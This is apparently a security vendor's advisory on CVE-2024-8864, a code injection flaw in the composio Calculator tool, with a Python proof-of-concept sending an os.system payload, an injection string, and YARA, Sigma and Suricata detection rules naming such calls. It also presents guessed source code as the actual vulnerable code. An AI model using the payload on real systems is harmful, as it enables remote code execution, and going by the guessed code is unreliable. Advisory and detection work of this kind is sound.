CVE-2024-8864

Executive Summary

CVE-2024-8864 is a critical code injection vulnerability discovered in the composiohq/composio project, affecting versions up to and including 0.5.6. The flaw resides in the Calculator function within the file python/composio/tools/local/mathematical/actions/calculator.py. An attacker can manipulate input to inject arbitrary code, leading to full remote code execution (RCE) on the server. The vendor was contacted but did not respond, and no official patch has been released. Public exploit code is available, making this a high-priority threat for any deployment using this library.

Supply Chain & Package Security

This vulnerability affects the Python package composio (PyPI). Organizations using this package in their supply chain are at risk. Since no patch exists, immediate action is required to mitigate the risk, including removing or isolating the package until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Estimated Critical (9.8) based on vector
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical – Public exploit, no patch, low complexity.

Deep Dive & Mechanics

The vulnerability is a classic code injection flaw in the Calculator tool of the Composio framework. The calculator.py file likely uses eval() or exec() on user-supplied mathematical expressions without proper sanitization. An attacker can craft a malicious expression that escapes the intended mathematical context and executes arbitrary Python code.

Example vulnerable code pattern:

def calculate(expression):
    result = eval(expression)  # Vulnerable
    return result

The attacker can input something like:

__import__('os').system('id')

This would execute the id command on the server.

Vulnerable vs. Patched Code

Vulnerable Code (composio <= 0.5.6):

# python/composio/tools/local/mathematical/actions/calculator.py
class Calculator:
    def run(self, expression: str):
        # No input validation or sanitization
        result = eval(expression)
        return result

Patched Code (Hypothetical):

# python/composio/tools/local/mathematical/actions/calculator.py
import ast
import operator

class Calculator:
    def run(self, expression: str):
        # Use AST parser to safely evaluate mathematical expressions
        tree = ast.parse(expression, mode='eval')
        # Only allow specific nodes
        allowed_nodes = (ast.Expression, ast.Num, ast.UnaryOp, ast.BinOp, ast.Add, ast.Sub, ast.Mult, ast.Div)
        for node in ast.walk(tree):
            if not isinstance(node, allowed_nodes):
                raise ValueError("Invalid expression")
        # Safe evaluation using a restricted environment
        safe_globals = {"__builtins__": None}
        safe_locals = {}
        result = eval(compile(tree, '<string>', 'eval'), safe_globals, safe_locals)
        return result

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install vulnerable version: pip install composio==0.5.6
2. Run a simple server that uses the Calculator tool.

Exploit:

import requests

target_url = "http://target.com/api/calculator"
payload = "__import__('os').system('id')"

response = requests.post(target_url, json={"expression": payload})
print(response.text)

Expected Output:

uid=1000(user) gid=1000(user) groups=1000(user)

Blue Team (Detection & Response)

Detection:

• Monitor for requests containing __import__, os.system, subprocess, or other suspicious Python built-ins in the expression parameter.
• Look for abnormal mathematical expressions that contain parentheses, dots, or function calls.

Response:

• Immediately isolate any server running the vulnerable version.
• Block the vulnerable endpoint at the WAF/API gateway.
• Review logs for any successful exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/calculator or similar endpoints with expression parameter containing Python code.
  • Outbound connections to attacker-controlled IPs after exploitation.
• File System IOCs:
  • Unexpected files in /tmp/ or web directories.
  • Modified system binaries or scripts.
• Process IOCs:
  • Unusual child processes spawned by the Python application (e.g., bash, nc, curl).
• Log IOCs:
  • Error logs containing SyntaxError or NameError from eval().

Detection Engineering

YARA Rule

rule CVE_2024_8864_Calculator_Code_Injection {
    meta:
        description = "Detects code injection attempts targeting CVE-2024-8864 in composio Calculator"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-8864"
    strings:
        $s1 = "__import__" ascii wide nocase
        $s2 = "os.system" ascii wide nocase
        $s3 = "subprocess" ascii wide nocase
        $s4 = "eval(" ascii wide nocase
        $s5 = "exec(" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-8864 Composio Calculator Code Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit code injection in composio Calculator
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '__import__'
            - 'os.system'
            - 'subprocess'
            - 'eval('
            - 'exec('
    condition: selection
falsepositives:
    - Legitimate use of mathematical functions (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8864 Composio Calculator Code Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/calculator"; http_uri; content:"__import__"; http_client_body; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove or disable the composio package from all production systems.
2. Block the vulnerable endpoint at the WAF or reverse proxy.
3. Review logs for any signs of exploitation.

Long-term Fix:

• Replace the Calculator tool with a safe alternative that uses ast.literal_eval() or a dedicated math parser.
• Implement strict input validation and allowlisting of allowed characters.
• Apply the principle of least privilege to the application process.

Workaround:

• If removal is not possible, wrap the Calculator.run() method with a custom decorator that sanitizes input:

import re

def safe_calculate(expression):
    # Only allow digits, operators, and parentheses
    if not re.match(r'^[0-9+\-*/(). ]+$', expression):
        raise ValueError("Invalid expression")
    return eval(expression)

Valters IT
Securing Digital Frontiers